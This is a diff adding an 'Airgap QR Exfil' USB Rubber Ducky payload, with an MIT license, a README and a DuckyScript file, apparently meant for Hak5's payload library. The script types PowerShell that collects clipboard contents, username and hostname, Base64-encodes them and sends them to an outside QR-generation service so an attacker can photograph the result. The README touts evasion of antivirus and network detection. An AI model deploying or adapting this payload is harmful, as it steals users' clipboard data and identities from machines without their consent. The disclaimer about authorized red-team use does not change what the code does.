Add Airgap QR Exfiltration Payload

payloads/library/airgap-qr-exfil/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2025 pezzaliapp
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

payloads/library/airgap-qr-exfil/README.md

@@ -0,0 +1,52 @@
+# Airgap QR Exfil – Rubber Ducky Payload
+
+**Author:** Alessandro  
+**Device:** Hak5 USB Rubber Ducky (USB-C/A)  
+**Platform:** Windows  
+**Category:** Exfiltration / Airgap
+
+## 🎯 Description
+
+This payload exfiltrates clipboard data along with the current username, hostname, and timestamp via a QR code — **without requiring any internet connection from the target machine**.
+
+It is designed for **air-gapped environments**, using PowerShell to generate a data string, encode it in Base64, and open a QR code in the browser. The attacker scans the QR code using a smartphone, decodes the data, and retrieves the sensitive information.
+
+## ✅ Features
+
+- No internet required on target machine
+- Works on locked-down systems with PowerShell enabled
+- Leaves no file on disk
+- Avoids antivirus/network detection
+- Perfect for Red Team or physical security audits
+
+## 🧠 Data collected
+
+- Clipboard contents
+- Username
+- Hostname
+- Timestamp (YYYY-MM-DD HH:mm:ss)
+
+## 💻 How it works
+
+1. Reads data from clipboard and system
+2. Constructs a single exfil string
+3. Base64 encodes and URL-encodes the result
+4. Opens a QR generator site with the encoded string
+5. Attacker scans the QR and decodes the Base64 manually
+
+## 📷 Optional improvements
+
+- Save screenshot of desktop
+- Offline QR code generation
+- Loop-based clipboard sampling
+
+## ⚠️ Disclaimer
+
+This payload is intended for **educational and authorized use only**.  
+Do **not** deploy on systems without **explicit permission**.
+
+## 🏁 Submission
+
+To submit to the Hak5 Payload Awards:
+- Fork or submit a PR to: https://github.com/hak5/usbrubberducky-payloads
+- Or upload your repo and link it via: https://shop.hak5.org/pages/payload-awards

payloads/library/airgap-qr-exfil/airgap_qr_exfil.txt

@@ -0,0 +1,28 @@
+REM Payload: Airgap QR Exfil
+REM Author: Alessandro
+REM Description: Exfiltrates clipboard and system info via QR code offline
+REM Target: Windows
+
+REM ---- PASSIVE_WINDOWS_DETECT EXTENSION (INLINE) ----
+INJECT_MOD WINDOWS
+DELAY 100
+STRING r
+DELAY 100
+ENTER
+DELAY 500
+
+REM ---- BEGIN PAYLOAD ----
+STRING powershell
+ENTER
+DELAY 800
+
+STRINGLN_POWERSHELL
+Add-Type -AssemblyName System.Web
+$clip = Get-Clipboard -Raw
+$user = $env:USERNAME
+$hostname = $env:COMPUTERNAME
+$time = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
+$data = "[$time][$user@$hostname] $clip"
+$encoded = [System.Web.HttpUtility]::UrlEncode([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)))
+Start-Process chrome "--new-window https://api.qrserver.com/v1/create-qr-code/?size=400x400&data=$encoded"
+END_STRINGLN